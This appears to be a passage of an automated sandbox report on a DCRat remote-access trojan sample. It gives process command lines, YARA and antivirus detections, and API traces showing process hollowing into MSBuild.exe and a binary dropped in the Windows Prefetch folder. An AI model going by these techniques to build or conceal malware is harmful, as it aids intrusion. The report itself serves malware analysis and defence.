MD5 hash:	314420BAC969BCFB9510A0E8CC3686D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000C.00000000.2794932818.0000000000052000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:33:01
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pfyxVLTZvp.bat"
Imagebase:	0x7ff7d2aa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:33:01
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:33:01
Start date:	10/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6676d0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:33:02
Start date:	10/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff6d08e0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:33:11
Start date:	10/12/2024
Path:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe"
Imagebase:	0xe0000
File size:	691'200 bytes
MD5 hash:	314420BAC969BCFB9510A0E8CC3686D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000012.00000002.3302655841.00000000027DC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 74%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	9.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	38

Executed Functions

Function 002131B4 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00213126,00213116), ref: 0021334A
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0021335D
Wow64GetThreadContext.KERNEL32(000000F8,00000000), ref: 0021337B
ReadProcessMemory.KERNELBASE(000000F4,?,0021316A,00000004,00000000), ref: 0021339F
VirtualAllocEx.KERNELBASE(000000F4,?,?,00003000,00000040), ref: 002133CA
TerminateProcess.KERNELBASE(000000F4,00000000), ref: 002133E9
WriteProcessMemory.KERNELBASE(000000F4,00000000,?,?,00000000,?), ref: 00213422
WriteProcessMemory.KERNELBASE(000000F4,00400000,?,?,00000000,?,00000028), ref: 0021346D
WriteProcessMemory.KERNELBASE(000000F4,?,?,00000004,00000000), ref: 002134AB
Wow64SetThreadContext.KERNEL32(000000F8,02CF0000), ref: 002134E7
ResumeThread.KERNELBASE(000000F8), ref: 002134F6

Strings

ResumeThread, xrefs: 002132EE
aryA, xrefs: 002131F8
ReadProcessMemory, xrefs: 0021329F
Load, xrefs: 002131F0
TerminateProcess, xrefs: 002133D9
ress, xrefs: 0021323C
VirtualAlloc, xrefs: 00213279
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00213349
GetThreadContext, xrefs: 0021328C
VirtualAllocEx, xrefs: 002132B2
SetThreadContext, xrefs: 002132D8
WriteProcessMemory, xrefs: 002132C5
CreateProcessW, xrefs: 00213266
GetP, xrefs: 00213234

Memory Dump Source

Source File: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 886e9992cd1654a34a765e8d7cb157db1c9d64fce11569bf78f58931c1f670f7
Instruction ID: 3e36acd9e1ac519c5c3ebc4d8d287cb8ef11ef72b721e8272b823efc40eac084
Opcode Fuzzy Hash: 886e9992cd1654a34a765e8d7cb157db1c9d64fce11569bf78f58931c1f670f7
Instruction Fuzzy Hash: C6B1E67660028AAFDB60CF68CC80BDA77A5FF88714F158164EA1CAB341D774FA51CB94

Function 001D3450 Relevance: 26.1, APIs: 3, Strings: 9, Instructions: 5052COMMON

Download Yara Rule

Strings

P]{?, xrefs: 001D515C
P]{?, xrefs: 001D5011
P]{?, xrefs: 001D5102
{v5, xrefs: 001D3516
{v5, xrefs: 001D3729
P]{?, xrefs: 001D636E
P]{?, xrefs: 001D516E
P]{?, xrefs: 001D606F
P]{?, xrefs: 001D635C

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: P]{?$P]{?$P]{?$P]{?$P]{?$P]{?$P]{?${v5${v5
API String ID: 0-2268192598
Opcode ID: 0bdc34296504cde0b6403c8cb8d87db94df881fe518e7788a1efca2a94e7cdb2
Instruction ID: eb23817d62b1972568ee65cae7244798c2f72f56b08fd7ceef687348d6839e69
Opcode Fuzzy Hash: 0bdc34296504cde0b6403c8cb8d87db94df881fe518e7788a1efca2a94e7cdb2
Instruction Fuzzy Hash: CE632C7BBA16100FEB48C87988A93D75BC347E6314F1BE43A4999C7352DC6F884E5B90

Function 001D0350 Relevance: 7.1, APIs: 2, Instructions: 4101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0a0e5ea0b06c2d03e799bcd80ae29015e5b71ec8cdddc3dba3970a804fc2a20
Instruction ID: 8eace2b622ebdc4676c3d23eef844f6790044dc7946ff353fe9961490bb78fa5
Opcode Fuzzy Hash: e0a0e5ea0b06c2d03e799bcd80ae29015e5b71ec8cdddc3dba3970a804fc2a20
Instruction Fuzzy Hash: 94432B7BFA19100BEB48C47ADCA63EB5BC347E9314F1FE03A4959D7355DC6E884A4A80

Function 001E3820 Relevance: 1.0, Instructions: 1039COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ba29d3b0e435d064ec000575f718ac12bd5e64daab61842a12bc0daa47d66c
Instruction ID: ff4548950d41f7ea765c36cc82d056be5279b8092af645e2423a14bffcbd3cc5
Opcode Fuzzy Hash: e5ba29d3b0e435d064ec000575f718ac12bd5e64daab61842a12bc0daa47d66c
Instruction Fuzzy Hash: 8552587BFA5A100FA748C87A8C963EB5BC35BE9314F1EE43E5999C7241DC7EC80A5640

Function 002079A7 Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00207DAC: CreateFileW.KERNELBASE(00000000,00000000,?,00207A50,?,?,00000000,?,00207A50,00000000,0000000C), ref: 00207DC9

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00207ABB
__dosmaperr.LIBCMT ref: 00207AC2
GetFileType.KERNELBASE(00000000), ref: 00207ACE
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00207AD8
__dosmaperr.LIBCMT ref: 00207AE1
CloseHandle.KERNEL32(00000000), ref: 00207B01
CloseHandle.KERNEL32(002025EE), ref: 00207C4E
GetLastError.KERNEL32 ref: 00207C80
__dosmaperr.LIBCMT ref: 00207C87

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 700253cd6516ee78958451a2b0f8de45071aefd31c12ddaa6187211ab08dfa80
Instruction ID: 93ee4bdbff8a37cd44219a0a3bc169a8b127319e27946e9d676d41fe54a8a835
Opcode Fuzzy Hash: 700253cd6516ee78958451a2b0f8de45071aefd31c12ddaa6187211ab08dfa80
Instruction Fuzzy Hash: D7A14A32E282199FCF199F68EC56BAD3BA1AB16310F14415DF805AF3D2DB349C22CB51

Function 00202BCD Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc6f44d4a0c35a7a9419588a441cf8e4d5cf5fb262e721d1bfc5b3a1f5862e29
Instruction ID: 15553fdd27fae41e34246ac9e96d825d5c9e1cc609f4889cd08d691f0a80e8bc
Opcode Fuzzy Hash: dc6f44d4a0c35a7a9419588a441cf8e4d5cf5fb262e721d1bfc5b3a1f5862e29
Instruction Fuzzy Hash: B0B12370A2430AEFDB11DF98D889BBD7BB4AF59340F14414AE909973D3CB70A966CB50

Function 001F4D76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 001F55D3
___raise_securityfailure.LIBCMT ref: 001F56BB

Part of subcall function 001F664C: RaiseException.KERNEL32(E06D7363,00000001,00000003,001F55C7,?,?,?,?,001F55C7,?,0021265C), ref: 001F66AC

Strings

E!, xrefs: 001F56B6

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: E!
API String ID: 3749517692-107689196
Opcode ID: b59c16f23397b93a014413901588614cf594a00e0ff869a8f4673ec032ab3aa4
Instruction ID: 2da173a89ab42ee786d4a2cd5babeda522736d9b11b80612cc9a42c152e95e72
Opcode Fuzzy Hash: b59c16f23397b93a014413901588614cf594a00e0ff869a8f4673ec032ab3aa4
Instruction Fuzzy Hash: 4C313EB4501348ABD704EF64FC49AD57BB9BB39718F50C12AEA0CC72B1EB709645CB84

Function 00203D0D Relevance: 4.7, APIs: 3, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00203EC2

Part of subcall function 001FED36: RtlAllocateHeap.NTDLL(00000000,001FDFD7,?,?,001FDFD7,00000220,?,?,?), ref: 001FED68

__freea.LIBCMT ref: 00203ED5
__freea.LIBCMT ref: 00203EE2

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: __freea$AllocateHeap
String ID:
API String ID: 2243444508-0
Opcode ID: 4f00e9e43350a175dc68fa9dc85cb54306111037028b252fe0614bc1c60a1ec6
Instruction ID: 9a89eac5d655ba0e9de1e2e2f379482bfec6277944ec1a0340443f1aeb4a5904
Opcode Fuzzy Hash: 4f00e9e43350a175dc68fa9dc85cb54306111037028b252fe0614bc1c60a1ec6
Instruction Fuzzy Hash: 2E51C27262030AAFEB21DF61CC85EBB76ADEF54710F150629FD04D6192EB31DE718A60

Function 00204065 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0020440F: GetConsoleOutputCP.KERNEL32(BDC1E488,00000000,00000000,?), ref: 00204472

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,001F7E12,?,001F8074), ref: 002041EA
GetLastError.KERNEL32(?,001F7E12,?,001F8074,?,001F8074,?,?,?,?,?,?,?,?,?,?), ref: 002041F4

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 8c2ce716726a846f901ff7da01ffe08edb86ce6b9d381e96b47ddb12f061ad95
Instruction ID: 203fce87f232fb435e5d723c310e90eae3990808dce04c490c354dc141e53261
Opcode Fuzzy Hash: 8c2ce716726a846f901ff7da01ffe08edb86ce6b9d381e96b47ddb12f061ad95
Instruction Fuzzy Hash: 4661D7F192021AAFDF11EFA8D844EEEBBB9AF18304F148145FA04A7297D771D961CB50

Function 001FDC0A Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FDE0F: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 001FDE3A

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,001FE01A,?,00000000,?,?,?), ref: 001FDC6B
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,001FE01A,?,00000000,?,?,?), ref: 001FDCA7

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 228ca091c953d4356861c2e1620f4609969f22dc711f98b7681585969f373430
Instruction ID: b1e87376c1fae47a74ca0222f00005574e16e6f4d2cb241c72148eaa72e15378
Opcode Fuzzy Hash: 228ca091c953d4356861c2e1620f4609969f22dc711f98b7681585969f373430
Instruction Fuzzy Hash: 63512470A0024C9EDB21CFB5D880AFAFBF6EF91304F14416ED2868B291D7749A46CB90

Function 0020483E Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,002041D0,?,001F8074,?,?,?,00000000), ref: 002048DA
GetLastError.KERNEL32(?,002041D0,?,001F8074,?,?,?,00000000,?,?,?,?,?,001F7E12,?,001F8074), ref: 00204900

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 035d62a3b821cbf65f4e3e02f441dbedc83b53a6ca709a9571dd802c0025b609
Instruction ID: de6927c129ce85b972f17420cd26092111b2d4ef0e3a94cb65f9348f187bb553
Opcode Fuzzy Hash: 035d62a3b821cbf65f4e3e02f441dbedc83b53a6ca709a9571dd802c0025b609
Instruction Fuzzy Hash: 9521B174A102199FCB15DF19DC80AEAB7F9EB5C301F2480A9EA06D7252D730EE52CB60

Function 001FDA72 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,001FD961,00212C58,0000000C), ref: 001FDABE
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,001FD961,00212C58,0000000C), ref: 001FDAD0

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: b01b8a351de390c56421ff83fe83368ea1cdcf9db569ae6b596ec7ab87c71c51
Instruction ID: 665f6296e38083ad707efbf0d3d5402262a4e964563cfa28f7976bb638eb1fcd
Opcode Fuzzy Hash: b01b8a351de390c56421ff83fe83368ea1cdcf9db569ae6b596ec7ab87c71c51
Instruction Fuzzy Hash: E011D3716087454ACB348E3EBC8C632BA96AB56330B3D075ED6B6875F1C730D887D215

Function 002037AF Relevance: 3.1, APIs: 2, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE(00000000,?,?,00000000,00000002,?,00000000,?,?,?,00203667,00000000,?,?,00000002,00000000), ref: 002037EB
GetLastError.KERNEL32(00000000,?,00203667,00000000,?,?,00000002,00000000,?,0020410A,?,00000000,00000000,00000002,?,?), ref: 002037F8

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 0cfb174036eafaaca4b0dffb96a62979d40d435458d0a6a21b9758d59e002140
Instruction ID: 0095f63e2badfc55cd9bfff5bd1d3837df39e26202cd18fc2aa6a62b6f93a328
Opcode Fuzzy Hash: 0cfb174036eafaaca4b0dffb96a62979d40d435458d0a6a21b9758d59e002140
Instruction Fuzzy Hash: 3B012B76620259AFCB05CF59DC05D9D3B29EB95320B244248F911972E1EA71EE61CB90

Function 001FD03C Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00203DFD,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 001FD070
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,-00000008,-00000008,?,00203DFD,?,?,-00000008,?,00000000), ref: 001FD08E

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: String
String ID:
